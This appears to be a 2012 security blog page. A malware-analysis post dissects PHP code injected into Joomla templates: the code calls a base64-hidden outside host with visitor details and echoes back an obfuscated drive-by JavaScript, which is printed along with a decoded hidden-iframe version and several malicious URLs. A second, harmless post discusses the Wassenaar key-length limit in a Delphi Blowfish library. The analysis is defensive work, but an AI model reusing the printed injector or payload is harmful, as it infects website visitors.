Saturday, April 21, 2012

Dissecting Joomla Malware

By the time of this post being written, there is a malicious site: botstatisticupdate.com serving obfuscated JavaScript code using the well known drive-by-download technique. Although the Malware was found in a Joomla-powered site, the malicious payload can be inserted in any web/client application. The method of infection is out of the scope of this blog but can be by exploiting a remote execution vulnerability (LFI) in the web site, or by stealing account credentials, etc.  

Symptom of infection: Suddenly you realized that every person visiting your site is being infected by a Malware, the AV is detecting it as a Trojan trying to access a malicious domain as shown below:


Then after some analysis, you realize that the Malware is being injected before the html body in the response:


The Challenge:

Now you need to find the malicious program running at your Web Server that is injecting above mentioned payload. I will save you some time, Joomla is a modular software which allows (among other things) the use of customized templates, those templates are the skin of your web site which makes it look awesome.

Joomla can only have one template activated at a time and all those files are located under /templates/ dir.

Finally, every template has its own index.php file which will be loaded in every singe HTTP request and therefore, it is a good place to inject the Malware.
After some investigation, I realized the Malware was injected in every single index.php of each template, this way, if you change the default template, still will be serving malicious code to the end users. As an example, below are three templates infected:

/templates/beez/index.php 
/templates/modernview/index.php 
/templates/eyedesign/index.php 

A fast way to detect infections is to run a diff (compare) between current files and default installation, we did this and detected that below code was injected:

if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics           
        $stCurlLink = base64_decode( 'aHR0cDovL2JvdHN0YXRpc3RpY3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink );
    }
    }
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
    $sResult = @curl_exec($stCurlHandle);
    if ($sResult[0]=="O")
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle);
}
}
?>

Explanation: 

At the beginning checks whether the request is coming from well known crawlers like google, opera, yahoo, msn, bing, safari, baidu, chrome or bot in which case will not process the request OR if it is coming from a normal user in which case process the request to get the malicious payload.
NOTE: If you want to debug this code, print out the variable $stCurlLink and variable $Result mentioned in red color above. Once the request is prepared, it is lunch via @curl_exec function.

After debugging, I got the value received in var $stCurlLink:

http://botstatisticupdate.com/stat/stat.php?ip=2XX.5X.4.X&useragent=mozilla/5.0+(windows+nt+5.0;+rv:5.0.1)+gecko/20100101+firefox/5.0.1&domainname=joomla.hacked-site.net&fullpath=/path/index.php?option%3Dcom_content&Itemid=1&lang%3Den&view=fro ntpage&check= 

This is the request to be sent to the Controller passing the Victim's IP and Host-Hacked's IP. Those parameters are important because:

1. The Controller only infects one time based on IP Address.
2. The Controller only responses to IP's from hacked sites, which means, if you try to call the Controller directly it will not serve any information.

Once the Request is sent, the Controller replies with the payload mentioned below:

h=-parseInt('012')/5;
if(window.document)
try{ Boolean(true).prototype.a}
catch(qqq){
st=String;
zz='al';
zz='zv'.substr(1)+zz;
ss=[];
if(1){
f='fromCh';f+='arC';
f+='qgode'["substr"](2);
}
w=this;
e=w[f.substr(11)+zz];
e = function eval(){}eval("e="+e);t='y';}
n="3.5!3.5!51.5!50!15!19!49!54.5!48.5!57.5!53.5!49.5!54!57!22!50.5!49.5!57!33.5!53!49.5!53.5!49.5!54!57!56.5!32!59.5!41!47.5!50.5!38!47.5!53.5!49.5!19!18.5!48!54.5!49!59.5!18.5!19.5!44.5!23!45.5!19.5!60.5!5.5!3.5!3.5!3.5!51.5!50!56!47.5!53.5!49.5!56!19!19.5!28.5!5.5!3.5!3.5!61.5!15!49.5!53!56.5!49.5!15!60.5!5.5!3.5!3.5!3.5!49!54.5!48.5!57.5!53.5!49.5!54!57!22!58.5!56!51.5!57!49.5!19!16!29!51.5!50!56!47.5!53.5!49.5!15!56.5!56!48.5!29.5!18.5!51!57!57!55!28!22.5!22.5!56!53!59.5!50.5!53!22!58.5!51!59.5!54!54.5!57!47.5!49!22!48.5!54.5!53.5!22.5!51.5!53.5!47.5!50.5!49.5!56.5!22!55!51!55!30.5!57!29.5!25!25.5!26!23.5!24!26.5!26.5!26.5!18.5!15!58.5!51.5!49!57!51!29.5!18.5!23.5!23!18.5!15!51!49.5!51.5!50.5!51!57!29.5!18.5!23.5!23!18.5!15!56.5!57!59.5!53!49.5!29.5!18.5!58!51.5!56.5!51.5!48!51.5!53!51.5!57!59.5!28!51!51.5!49!49!49.5!54!28.5!55!54.5!56.5!51.5!57!51.5!54.5!54!28!47.5!48!56.5!54.5!53!57.5!57!49.5!28.5!53!49.5!50!57!28!23!28.5!57!54.5!55!28!23!28.5!18.5!30!29!22.5!51.5!50!56!47.5!53.5!49.5!30!16!19.5!28.5!5.5!3.5!3.5!61.5!5.5!3.5!3.5!50!57.5!54!48.5!57!51.5!54.5!54!15!51.5!50!56!47.5!53.5!49.5!56!19!19.5!60.5!5.5!3.5!3.5!3.5!58!47.5!56!15!50!15!29.5!15!49!54.5!48.5!57.5!53.5!49.5!54!57!22!48.5!56!49.5!47.5!57!49.5!33.5!53!49.5!53.5!49.5!54!57!19!18.5!51.5!50!56!47.5!53.5!49.5!18.5!19.5!28.5!50!22!56.5!49.5!57!31.5!57!57!56!51.5!48!57.5!57!49.5!19!18.5!56.5!56!48.5!18.5!21!18.5!51!57!57!55!28!22.5!22.5!56!53!59.5!50.5!53!22!58.5!51!59.5!54!54.5!57!47.5!49!22!48.5!54.5!53.5!22.5!51.5!53.5!47.5!50.5!49.5!56.5!22!55!51!55!30.5!57!29.5!25!25.5!26!23.5!24!26.5!26.5!26.5!18.5!19.5!28.5!50!22!56.5!57!59.5!53!49.5!22!58!51.5!56.5!51.5!48!51.5!53!51.5!57!59.5!29.5!18.5!51!51.5!49!49!49.5!54!18.5!28.5!50!22!56.5!57!59.5!53!49.5!22!55!54.5!56.5!51.5!57!51.5!54.5!54!29.5!18.5!47.5!48!56.5!54.5!53!57.5!57!49.5!18.5!28.5!50!22!56.5!57!59.5!53!49.5!22!53!49.5!50!57!29.5!18.5!23!18.5!28.5!50!22!56.5!57!59.5!53!49.5!22!57!54.5!55!29.5!18.5!23!18.5!28.5!50!22!56.5!49.5!57!31.5!57!57!56!51.5!48!57.5!57!49.5!19!18.5!58.5!51
.5!49!57!51!18.5!21!18.5!23.5!23!18.5!19.5!28.5!50!22!56.5!49.5!57!31.5!57!57!56!51.5!48!57.5!57!49.5!19!18.5!51!49.5!51.5!50.5!51!57!18.5!21!18.5!23.5!23!18.5!19.5!28.5!5.5!3.5!3.5!3.5!49!54.5!48.5!57.5!53.5!49.5!54!57!22!50.5!49.5!57!33.5!53!49.5!53.5!49.5!54!57!56.5!32!59.5!41!47.5!50.5!38!47.5!53.5!49.5!19!18.5!48!54.5!49!59.5!18.5!19.5!44.5!23!45.5!22!47.5!55!55!49.5!54!49!32.5!51!51.5!53!49!19!50!19.5!28.5!5.5!3.5!3.5!61.5"["split"]("a!".substr(1));for(i=6-2-1-2-;i!=603;i++){
j=i;
if(st)ss=ss+st.fromCharCode(-h*(1+1*n[j]));
}
if(zz)q=ss;
if(t)e(""+q);


That response is polymorphic, which means, it is different in every new request, below the decoded version:

if (document.getElementsByTagName('body')[0]){
 iframer();
else { function iframer(){
var f= document.createElement('i_frame');
 f.setAttribute('src',rlygl.whynotad.com/images.php?t=45612777');f.style.visibility='hidden';f.style.position='absolute'; f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10'); document.getElementsByTagName('body')[0].appendChild(f); }

The payload is an iframe calling in a hidden way different URLs, below some examples:

rlygl[.]whynotad.com/images.php?t=45612777 
kpxpg[.]biz.tm/images.php?t=45612777 
ufwut[.]uk.to/images.php?t=45612777 

NOTE: If you want to deobfuscate the JavaScript code, always use alert command, in this case, replace e(""+q) at the end with alert(""+q) and you will get the content in clear text.  

Once the victim(browser) connects to those malicious URLs (without his consent), the attacker will try to compromised the victim machine by using different drive-by-download/cache techniques.


Recommendations:

1. Remove the malicious code inserted into index.php of every template and run a diff between current and default installation to make sure no more files are infected.

2. Perform Integrity checking to detect any change made to you web files. Eyesite can be a good solution and is free, it will alert you if any files, anywhere in the directory structure are added, changed or deleted.

Hope you find this useful and spread the word so that all start monitoring activity coming/going from/to botstatisticupdate[.]com/stat/stat.php URL.

Wednesday, April 4, 2012

Wassenaar arrangement could be the cause of Legacy systems encryption weakness.


Recently, while doing a secure code review in a Delphi Legacy application, I found a function named: InitialiseString() used by the Blowfish symmetric algorithm, then I realized that the Library used for this purpose was the one found here. While reviewing the source code a found below chunk:

{**************************************************************************
************ This section of code implements the 64 bit limit *************
************ imposed by the Wassennar agreement. The key is *************
************ limited to 64 bits. Should you be in a country *************
************ where the Wassennar agreement is not in force, *************
************ undefine the WASSENAAR_LIMITED variable. *************
**************************************************************************}

1. {$ifdef WASSENAAR_LIMITED}
2. // turn the key string into a key array
3. for i:= 1 to Length(Key) do
4. begin
5. KeyArray[(i-1) mod 8] := Ord(Key[i]);
6. end {for}
7. {$else}
8. // turn the key string into a key array
9. for i := 1 to Length(Key) do
10. begin
11. KeyArray[(i-1)] := Ord(Key[i]);
12. end {for}
Did you noticed the "64 bit limit imposed by Wassenaar agreement...", what is that agreement?

After some research I understood that:
  1. The name is "Wassenaar Arrangement" and not "Wassenaar agreement".
  2. The Wassenaar Arrangement is a multilateral export control regime with 41 participating states including many former COMECON countries.
  3. In December 1998, Wassenaar members revised the Dual-Use Control List, implementing a maximum bit length of 64 bits on exports of mass-market encryption software. See Category 5. part 2 - Information Security in the regime. NOTE: This restriction is applicable to symmetric algorithms only like Blowfish in this case.

More information about this regime can be found here.

Since the Legacy system I was reviewing was created before 1998, it was limited to 64 bits key length as you can see in lines 1-6 of the source code above.

But then after more research I found and update of this restriction here: "In December 2000, Wassenaar member countries agreed to remove the 64-bit key length restriction from the Cryptography Note", voila!!!! The Legacy system could be upgraded/improved since December 2000!!!

So, anytime you are reviewing a Legacy system which performs symmetric key encryption, make sure to double check the now well known (at least to me :-) Wassenaar Arrangement regime.

See you in the next blog.